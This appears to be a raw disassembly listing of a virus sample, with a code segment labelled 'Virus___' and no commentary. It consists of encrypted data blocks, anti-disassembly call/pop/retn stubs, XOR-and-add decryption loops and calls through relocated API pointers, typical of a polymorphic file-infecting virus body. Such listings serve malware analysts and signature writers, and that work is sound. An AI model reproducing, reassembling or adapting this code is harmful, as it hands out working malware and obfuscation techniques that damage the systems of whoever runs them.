		dd 90C59A8h, 0BD03B359h, 95D2B55h, 9F0C0A68h, 0F525012h
		dd 61605631h, 81585A5Bh, 0FF52434h, 10E81280h, 63000000h
		dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 66A9DE07h,	5FE6EABBh
		dd 0A564858Dh, 6A0960h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 803D51C3h, 870F5090h, 10h, 0BE9h
		dd 7FBE9600h, 1497DA1h,	21359D21h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 29392BA5h
		dd 58D0E6F1h, 0EE9h, 6CACE800h,	0E0B10E9h, 42CE39F6h, 0FF102D17h
		dd 5D0FAD95h, 61FA8B09h, 3C0B53BBh, 0F985C70Ah,	3095D15h
		dd 81000000h, 83D38CBh,	64BD8327h, 960A5h, 25840Fh, 9D8B0000h
		dd 95D25EDh, 35E9h, 8E800h, 0EE8A0000h,	0CD346D98h, 9D0B243Dh
		dd 95D1071h, 0C5BD335Fh, 50095D28h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8C8394C3h
		dd 3C6822C5h, 15F9BD83h, 0F03095Dh, 44585h, 0BE900h, 77AF0000h
		dd 0E6CE558Dh, 648B8A7h, 4BBF6660h, 64BD83BDh, 960A5h
		dd 424840Fh, 830F0000h,	4, 5F5F5157h, 0F45B529h, 0B5FF095Dh
		dd 960A564h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	7AC35141h, 0C79E822Eh, 0E80C4C75h, 0Ah,	87CC6CE1h
		dd 1DE8207Ah, 0E950EB25h, 0Ch, 86D39DDFh, 6435EBFh, 6DC0D779h
		dd 95FF5F5Bh, 95D0A41h,	11E9F9h, 0AA870000h, 0C78002FEh
		dd 0C57F02F7h, 60CB0C33h, 8BE6CABAh, 60A558B5h,	0E585BB09h
		dd 6C7433Dh, 10001h, 6B59BF66h,	0AE9h, 1BFA4B00h, 9EDEA242h
		dd 963C554Bh, 0E950DE8Bh, 6, 0FBC93409h, 2996C392h, 5D25DD85h
		dd 0F566009h, 80h, 0BD895900h, 95D15F5h, 64B5FF61h, 0B30960A5h
		dd 0F7816622h, 95FF070Eh, 95D05FDh, 6850F50h, 9000000h
		dd 5D12F59Dh, 0B58B5F09h, 960A558h, 4D858BF5h, 0B3095D30h
		dd 0C486893Ah, 8B000000h, 5D091995h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 4325452Bh
		dd 85F0A417h, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 15AC356h, 0A9DC784Ch
		dd 810CEC8Fh, 0C94C6AEBh, 0DEB70F17h, 0FC205089h, 0BBC1858Dh
		dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 340EB9C3h, 2CD5C8D4h, 0F2B3C78h, 0B89h, 0B58B6000h
		dd 95D2645h, 6144EB80h,	0B88689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C0BFE8C3h
		dd 9CDB589h, 8D29095Dh,	95D03B1h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3F69A7C3h
		dd 0FFDDA6CDh, 60A564B5h, 56006A09h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 54E442BDh
		dd 0BA5F4C6Eh, 9D31BBAFh, 95D050Dh, 1A91BD8Bh, 95FF095Dh
		dd 95D14C9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1DC35040h
		dd 6F6A3657h, 711C1213h, 0F525050h, 5AD98B31h, 24348958h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 3CC35747h
		dd 0B5FF8DC3h, 960A564h, 735BD8Bh, 95FF095Dh, 95D137Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EFC35747h
		dd 0D1BD831Dh, 95D19h, 33840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 6FBB3BC3h
		dd 14F5CC9Ah, 0BF0FEF66h, 665096D8h, 8B96F98Bh,	5D1981BDh
		dd 64B5FF09h, 6A0960A5h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F158C351h,	1999BD2Bh
		dd 9D29095Dh, 95D22B9h,	2F9595FFh, 6A095Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5FF9FC3h
		dd 960A564h, 9E9h, 6F419400h, 0BCB95C0h, 95FFF67Bh, 95D1795h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 16C35545h
		dd 0FB8B0C73h, 49BD0924h, 0BB095D00h, 7004517h,	0B11BD83h
		dd 0F02095Dh, 7484h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8B568812h, 5D318D9Dh
		dd 9D8B5B09h, 95D2175h,	2215858Bh, 6A095Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0C1FC3CC3h
		dd 0CE9D0h, 1F3E0000h, 0A39A3484h, 0C2D7DB87h, 0BD23CED4h
		dd 95D286Dh, 2830F52h, 60000000h, 0C65B61h, 4585C700h
		dd 95D05h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 711BC356h, 85B8F381h, 0E9060Ah
		dd 8BFFFFF3h, 5D2B199Dh, 6AC18B09h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0AFCFC357h
		dd 0CA892D06h, 9349DF13h, 0C55BD89h, 858D095Dh,	95D2239h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C35545h
		dd 0FB368BFh, 38Eh, 2ED78000h, 4D99D03h, 0E990095Dh, 10h
		dd 6B7FA85Ah, 199D1D10h, 76AE3916h, 0A19832CBh,	8943BF50h
		dd 8B901170h, 5D088D9Dh, 6A006A09h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F84EC353h
		dd 8D89006Ah, 95D0031h,	535F858Dh, 83F90961h, 958905C0h
		dd 95D2115h, 50DE8B90h,	0DE890h, 78820000h, 291C2A02h
		dd 1F23A8BEh, 66B8C213h, 0D2A6CB81h, 6A006A5Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0F5D9C355h, 0D6B92FFFh, 6AFA8B66h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 2CEF99Ch, 42D42630h,	8166FED5h, 0FF0CD1DFh, 5D085195h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 6505C374h, 6AEF80ACh, 914C8D8Dh,	9D010960h
		dd 95D1F55h, 9D8BD1FFh,	95D0905h, 971BD83h, 0F01095Dh
		dd 8685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 362662D2h, 1858960h, 0F5095D11h
		dd 0ED9D8B61h, 6A095D06h, 260BF02h, 609047AAh, 0BB53FA8Ah
		dd 1DB1731h, 6650615Eh,	6A90D88Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 1145C355h
		dd 59CAAF63h, 8B66E17Eh, 7E9DAh, 0ED2D0000h, 8A03D168h
		dd 0C995FFBEh, 57095D14h, 32198D89h, 0E95B095Dh, 0E8Fh
		dd 0E8h, 0ED815D00h, 9615369h, 88C0Fh, 80600000h, 0BF0F1CDAh
		dd 1B361D9h, 8AE2858Dh,	0B70F0960h, 6E890DAh, 5000000h
		dd 360A387Bh, 22B86067h, 667AA1BDh, 615EFBBEh, 6660505Bh
		dd 60C91FBFh, 310F5250h, 0CC8A585Ah, 89906161h,	5D04A98Dh
		dd 35FF6409h, 0
; ---------------------------------------------------------------------------
		clc
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5AFF03
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFF03	proc near		; CODE XREF: Virus___:005AFEFBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5AFF03	endp

; ---------------------------------------------------------------------------
		push	20h
		js	short loc_5AFF67
		retf
; ---------------------------------------------------------------------------
		dd 0E5702604h, 37BB66DAh, 6985FF9Bh, 6A095D21h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9CC5C357h, 0FC907BDDh, 0D0F78166h, 6AFF6A27h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5AFF67:				; CODE XREF: Virus___:005AFF15j
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		mov	eax, 4B9000FEh
		idiv	edi
		mov	ch, 0Dh
		and	ebx, [ebp+9]
		cld
		call	dword ptr [ebp+95D0385h]
		jmp	loc_5B0098
; ---------------------------------------------------------------------------
		dw 0F60h
		dd 685h, 71958900h, 0B6095D1Fh,	0BD296128h, 95D0CB1h, 800F00B0h
		dd 0
		dd 9E970E6h, 94000000h,	6BD31081h, 0E110DFE4h, 9D8B71E4h
		dd 95D2751h, 830F613Ch,	0D8h, 5FD98B53h, 0BAC8B60Fh, 6
		dd 1A8D0Fh, 0EE80000h, 0E4000000h, 765565h, 0E53097D8h
		dd 7946CA9Ah, 0A1BD8B97h, 5F095D03h, 0B589C18Bh, 95D2901h
		dd 0B04E8C1h, 5D329DBDh, 0E2F76609h, 9D8BC82Bh,	95D26DDh
		dd 8166D18Bh, 0E91B91E3h, 84h, 47E472BFh, 858BF850h, 95D0B75h
		dd 15FDBD03h, 0C083095Dh, 3A52BB07h, 9D8B65EEh,	95D2AA5h
		dd 0BF00C083h, 53121961h, 3BFFB70Fh, 0C830FD0h,	0F5000000h
		dd 4BE9h, 0F9BD8B00h, 8B095D28h, 5D14A58Dh, 0DE909h, 0F0FE0000h
		dd 0BFAF7E5Fh, 0FE5BFF01h, 83743141h, 840F01E1h, 24h, 27B9BD09h
		dd 0A583095Dh, 95D14A5h, 39BD8BFEh, 89095D15h, 5D0B7595h
		dd 0D5BD8909h, 0E9095D18h, 0
; ---------------------------------------------------------------------------


loc_5B0098:				; CODE XREF: Virus___:005AFF7Dj
		lea	esi, [ebp+960DDF8h]
		push	0
		push	edi
		call	sub_5B00A9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B00A9	proc near		; CODE XREF: Virus___:005B00A1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5B00A9	endp

; ---------------------------------------------------------------------------
		db 0E4h, 0FEh, 94h
; ---------------------------------------------------------------------------
		jle	loc_5B00D0
		pusha
		mov	edx, [ebp+95D070Dh]
		mov	[ebp+95D0C79h],	eax
		popa


loc_5B00D0:				; CODE XREF: Virus___:005B00BCj
		push	0
		push	eax
		pop	edi
		mov	bx, dx
		call	dword ptr [ebp+95D11B1h]
		push	0
		push	edi
		call	sub_5B00E8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B00E8	proc near		; CODE XREF: Virus___:005B00E0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5B00E8	endp

; ---------------------------------------------------------------------------
		dd 0B10CE1A5h, 9B5B9h, 0FA8B300h, 0E183DBB7h, 6840FFCh
		dd 31000000h, 5D189D9Dh, 6AFC09h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 8B2053C3h, 12E8h, 0C193FE00h
		dd 574B303Dh, 4CA8C124h, 43F36D51h, 29C4CD45h, 5D314D95h
		dd 0B70F5F09h, 6AC02BF8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 6D0EC353h, 27042A5Ah
		dd 14E9C9h, 0D9780000h,	9943272Eh, 2D9DC93Eh, 118E2ECEh
		dd 0AD38E476h, 0BAF990ADh, 0
; ---------------------------------------------------------------------------
		js	loc_5B01B2
		jmp	loc_5B01B2
; ---------------------------------------------------------------------------
		push	0FFFFFFBBh
		sbb	al, 0C8h
		or	eax, 8A7F013Fh
		adc	cl, ds:0B7547B11h


loc_5B01B2:				; CODE XREF: Virus___:005B0198j
					; Virus___:005B019Ej ...
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B01B2
		push	0
		push	esi
		call	sub_5B01C9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B01C9	proc near		; CODE XREF: Virus___:005B01C1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B01C9	endp

; ---------------------------------------------------------------------------
		rcr	byte ptr [ecx+6ABBC3FDh], 1
		cmp	ch, dh
		sub	[ecx+5D21DDB5h], ecx
		or	[ebx+5D2F8DBDh], ecx
		or	large ds:88h, ecx
		jmp	loc_5B0209
; ---------------------------------------------------------------------------
		dd 0F76AAEE5h, 3ED6BEAFh, 81564868h, 76340042h
		db 1
; ---------------------------------------------------------------------------


loc_5B0209:				; CODE XREF: Virus___:005B01F3j
		mov	edx, [ebp+95D0919h]
		push	0
		push	ebx
		call	sub_5B021A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B021A	proc near		; CODE XREF: Virus___:005B0212p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B021A	endp

; ---------------------------------------------------------------------------
		dw 65E1h
; ---------------------------------------------------------------------------
		ror	byte ptr [ebx+5D13498Dh], 9
		push	0
		push	edx
		call	sub_5B023E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B023E	proc near		; CODE XREF: Virus___:005B0236p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B023E	endp

; ---------------------------------------------------------------------------
		dw 5093h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	9E858h
		dd 0CF40000h, 413722DAh, 0E85AFA28h, 7,	721CA512h, 660E6D7Ah
		dd 5F6042BBh, 758D295Bh, 83095D2Bh, 5D3169BDh, 840F0009h
		dd 56h,	0B8F98B66h, 0
; ---------------------------------------------------------------------------
		mov	edi, edx
		lea	ecx, [ebp+95D4D92h]
		push	0
		push	eax
		call	sub_5B02AF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B02AF	proc near		; CODE XREF: Virus___:005B02A7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5B02AF	endp

; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	dl, 2Dh
		dec	ebp
		imul	edi, -1Fh
		push	0
		push	edi
		call	sub_5B02D3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B02D3	proc near		; CODE XREF: Virus___:005B02CBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5B02D3	endp

; ---------------------------------------------------------------------------
		mov	ah, 9
		popf
		jns	short loc_5B0319
		pop	ebp
		or	[ebx+5D15F9BDh], eax
		or	[eax], eax
		jz	loc_5B07E3
		push	0
		push	ebp
		call	sub_5B0302
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0302	proc near		; CODE XREF: Virus___:005B02FAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B0302	endp

; ---------------------------------------------------------------------------
		mov	esp, [esi]
		or	eax, 0B13ED15Dh


loc_5B0319:				; CODE XREF: Virus___:005B02E6j
		add	al, 0A4h
		dec	edi
		mov	bx, 5D8Bh
		cmp	dword ptr [ebp+95D15F9h], 1
		jz	loc_5B07FE
		jmp	loc_5B0344
; ---------------------------------------------------------------------------
		dw 57ABh
		dd 0F4927204h, 30309C82h, 0A85E02E4h, 0C2A6E843h
; ---------------------------------------------------------------------------


loc_5B0344:				; CODE XREF: Virus___:005B032Dj
		cmp	dword ptr [ebp+95D15F9h], 3
		jbe	loc_5B07C8
		push	0
		push	edx
		call	sub_5B035C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B035C	proc near		; CODE XREF: Virus___:005B0354p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B035C	endp

; ---------------------------------------------------------------------------
		mov	bh, cl
		jl	short near ptr loc_5B037C+3
		mov	ecx, ds:60000000h
		mov	[ebp+95D1271h],	eax


loc_5B037C:				; CODE XREF: Virus___:005B036Ej
		mov	esi, 353FE8CBh
		popa
		pusha
		push	0
		push	eax
		call	sub_5B038E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B038E	proc near		; CODE XREF: Virus___:005B0386p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B038E	endp

; ---------------------------------------------------------------------------
		dw 0D9h
		dd 9341D025h, 8B24E452h, 5D0C559Dh, 0D98C6609h,	32C99D33h
		dd 0E180095Dh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 375D0332h, 39A374C2h
		dd 21950971h, 0BB095D22h, 5ED71DE9h, 840FC90Ah,	15Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BEC35747h, 2C0D858Bh
		dd 9D0B095Dh, 95D0859h,	27658533h, 6A095Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0D60E2BC3h
		dd 0DF8B6690h, 13E950h,	94350000h, 552A15F0h, 0B6DCAF45h
		dd 0C9A0FF60h, 0DFE6FDFh, 0B50990A5h, 95D04C9h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0AE3DBFC3h, 6DA2ABB2h, 9D852906h, 0E8095D14h, 4, 1F03FFh
		dd 0BF665750h, 5F5BAD0Bh, 0B820F50h, 50000000h,	0FFA8B52h
		dd 0F88B6631h, 448B585Ah, 5CBB0424h, 8B51EF26h,	52505700h
		dd 0CE9h, 29622700h, 52A6F8B4h,	5D62D3B9h, 66310F00h, 5A4C48BBh
		dd 44895F58h, 0C4B30424h, 0FFFA8B58h, 5D0FAD95h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0EE0C6812h, 8E0FBB8Ah, 6, 33C5BD8Bh,	8589095Dh, 960A564h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h
		dd 68C0F12h, 8B000000h,	5D2655BDh, 209E909h, 0B5890000h
		dd 95D2955h, 0A55C858Bh, 6A0960h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0E11EF2C3h, 8B0F57h
		dd 0C7000000h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 8EE85B81h, 28C0Fh, 0FA8B0000h
		dd 0A560B58Bh, 0E8600960h, 12h,	0A9A7CDA6h, 13335250h
		dd 84189196h, 0C421B6CFh, 858992D9h, 95D058Dh, 3D9D895Ah
		dd 61095D33h, 3151858Bh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 818B69C3h, 0FB1F6BC3h
		dd 0DAE78073h, 9D890689h, 95D0301h, 2C0D858Bh, 8589095Dh
		dd 95D07D5h, 6A044689h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0A730C351h,	34DFE812h
		dd 313DBD29h, 9D8B095Dh, 95D2095h, 89DE8B50h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 13D7F2C3h, 0BD8B105Ah, 95D053Dh, 51F78166h, 15CF81A1h
		dd 0FF752529h, 60A55CB5h, 80B06809h, 0F98B5266h, 4F243481h
		dd 6A527983h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 979C351h, 0D688C04Ch, 8B534190h
		dd 5D0CBD9Dh, 64858D09h, 6A0960A5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 6C36C350h
		dd 0BD890EBBh, 95D3329h, 0D98A5090h, 8B66505Bh,	6A90D9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 3B2691C3h, 0FAD95FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 581A90C3h, 0F281665Eh
		dd 0E8D1809Ch, 5, 1C437CB7h, 0CE9B0h, 68BD0000h, 8DE684C1h
		dd 0AFE59F4Eh, 615B9B7Ch, 0CE98D89h, 85C7095Dh,	95D15F9h
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 1Ch
		dd 0B0C35040h, 1FC6DBB8h, 0BC63F9Ch, 0E99D2B60h, 89095D07h
		dd 5D07058Dh, 0BD836109h, 960A564h, 29840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 7461C357h, 22E9h,	0BB665700h, 0F95F4ABCh
; ---------------------------------------------------------------------------


loc_5B07C8:				; CODE XREF: Virus___:005B034Bj
					; Virus___:005B07DFj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B07C8
		jmp	short loc_5B0819
; ---------------------------------------------------------------------------


loc_5B07E3:				; CODE XREF: Virus___:005B02F1j
					; Virus___:005B07FAj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B07E3
		jmp	short loc_5B0819
; ---------------------------------------------------------------------------


loc_5B07FE:				; CODE XREF: Virus___:005B0327j
					; Virus___:005B0815j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5B07FE
		jmp	short $+2


loc_5B0819:				; CODE XREF: Virus___:005B07E1j
					; Virus___:005B07FCj
		mov	eax, eax
		push	0
		push	edi
		call	sub_5B0826
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0826	proc near		; CODE XREF: Virus___:005B081Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B0826	endp

; ---------------------------------------------------------------------------
		dw 1C19h
; ---------------------------------------------------------------------------
		jmp	loc_5B0845
; ---------------------------------------------------------------------------
		db 0A6h, 4Bh, 0BDh
		dd 340C6E14h
		db 62h
; ---------------------------------------------------------------------------


loc_5B0845:				; CODE XREF: Virus___:005B0838j
		push	0
		push	eax
		call	sub_5B0850


loc_5B084D:				; CODE XREF: Virus___:005B08BEj
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0850	proc near		; CODE XREF: Virus___:005B0848p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5B0850	endp

; ---------------------------------------------------------------------------
		fdivr	st(3), st
		and	[ebx+5D0EFD9Dh], cl
		or	[edi], ecx
		mov	bh, 0DAh
		cmp	dword ptr [ebp+95D15F9h], 3
		jnz	loc_5B0CD7
		push	0
		push	esi
		call	sub_5B0884
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0884	proc near		; CODE XREF: Virus___:005B087Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B0884	endp

; ---------------------------------------------------------------------------
		pop	edi
		xchg	eax, ebp
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5B0CD7
		push	0
		push	edi
		call	sub_5B08AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B08AE	proc near		; CODE XREF: Virus___:005B08A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B08AE	endp

; ---------------------------------------------------------------------------
		loopne	loc_5B084D
		sbb	[eax+54ADE933h], dl
		jno	short locret_5B0941
		mov	[ebp+95D140Dh],	edi
		push	dword ptr [ebp+960A564h]
		push	0
		push	ebx
		call	sub_5B08DF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B08DF	proc near		; CODE XREF: Virus___:005B08D7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B08DF	endp

; ---------------------------------------------------------------------------
		and	cl, [edi-3C98A011h]
		mov	fs, word ptr [esi-7Fh]
		retf
; ---------------------------------------------------------------------------
		align 2
		mov	ds:0A4195FFh, al
		pop	ebp
		or	[edx+0], ebp
		push	edx
		call	sub_5B090C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B090C	proc near		; CODE XREF: Virus___:005B0904p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B090C	endp

; ---------------------------------------------------------------------------
		sti
		and	al, 0E5h
		inc	esi
		retn	66ADh
; ---------------------------------------------------------------------------
		db 8Bh
		dd 58B58BDAh, 890960A5h, 5D282D95h, 106C709h, 6A000100h
		dd 3E85600h, 20000000h
; ---------------------------------------------------------------------------
		pop	esi

locret_5B0941:				; CODE XREF: Virus___:005B08C6j
		retn
; ---------------------------------------------------------------------------
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		xchg	eax, edx
		db	64h
		stos	byte ptr es:[edi]
		cmp	eax, 0D781522Bh
		inc	edi
		mov	esp, 965F758Ah
		push	ecx
		mov	edi, 5F042BD9h
		pop	ebx
		push	eax
		mov	bx, 121Ah
		xchg	eax, esi
		and	ebx, 1C3DCBD8h
		push	dword ptr [ebp+960A564h]
		movsx	edi, cx
		call	dword ptr [ebp+95D05FDh]
		mov	bx, ax
		mov	esi, [ebp+960A558h]
		push	0
		push	ebp
		call	sub_5B0996
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0996	proc near		; CODE XREF: Virus___:005B098Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B0996	endp

; ---------------------------------------------------------------------------
		dw 605Eh
		dd 12F58589h, 0B70F095Dh, 858B61F6h, 95D304Dh, 4448BF66h
		dd 0C48689h, 12E80000h,	0E6000000h, 3FBD4C34h, 0DBDDBCF1h
		dd 8C81F875h, 5C492EE3h, 0FD9D8B1Eh, 5F095D0Bh,	919958Bh
		dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 392C44C3h, 1D219D23h, 8952095Dh, 5D031185h
		dd 9D8B5B09h, 95D1391h,	8004C283h, 50898AD3h, 56006A20h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0C62E3603h, 8E0FEC34h, 6, 25F99D8Bh,	858D095Dh, 960BBC1h
		dd 14E9h, 8EA80300h, 0E6437EABh, 8FBABF42h, 0D5BAED77h
